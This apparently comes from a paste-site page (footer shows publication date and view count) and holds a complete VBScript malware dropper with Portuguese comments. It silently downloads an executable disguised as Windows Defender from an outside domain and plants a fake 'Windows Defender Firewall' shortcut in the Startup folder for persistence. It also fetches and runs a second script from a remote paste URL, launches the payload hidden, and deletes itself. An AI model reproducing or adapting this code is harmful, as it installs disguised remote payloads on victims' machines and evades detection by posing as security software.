Set WshShell = CreateObject("WScript.Shell")

url = "https://i.sociedadedosmagos.com.br/download/Windows_Defender.exe"
file_path = "%ProgramData%\Windows\Privattex\Windows_Defender.exe"
shortcut_path = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender Firewall.lnk"
notify_path = "C:\ProgramData\Windows\Privattex\notify.vbs"

' Download do arquivo
WshShell.Run "powershell -Command ""(New-Object System.Net.WebClient).DownloadFile('" & url & "','" & file_path & "')""", 0, True

' Aguarda 5 segundos para o download ser concluído
WScript.Sleep 15000

' Criação do atalho
target_path = "%ProgramData%\Windows\Privattex\Windows_Defender.exe"
working_dir = "%ProgramData%\Windows\Privattex"
shortcut_name = "Windows Defender Firewall"
icon_path = "%SystemRoot%\system32\SHELL32.dll"
icon_index = "107"

Set lnk = WshShell.CreateShortcut(shortcut_path)
lnk.TargetPath = target_path
lnk.WorkingDirectory = working_dir
lnk.IconLocation = icon_path & "," & icon_index
lnk.Save

WScript.Sleep 15000

' Cria o arquivo "notify.vbs" com o conteúdo da URL
Set objHTTP = CreateObject("MSXML2.XMLHTTP")
objHTTP.open "GET", "https://rentry.org/eppyv/raw", False
objHTTP.send
If objHTTP.Status = 200 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile(notify_path, True)
objFile.Write objHTTP.responseText
objFile.Close
End If

' Executa o arquivo "notify.vbs"
WshShell.Run notify_path, 1, True

' Aguarda 10 segundos antes de executar o Windows Defender
WScript.Sleep 10000

' Inicia o programa Windows Defender
WshShell.Run file_path, 0, True

' Exclusão do script atual
WshShell.Run "cmd /c del """ & WScript.ScriptFullName & """ & exit", 0, False

WScript.Quit

Edit
Pub: 08 May 2023 01:30 UTC
Edit: 09 May 2023 11:43 UTC
Views: 103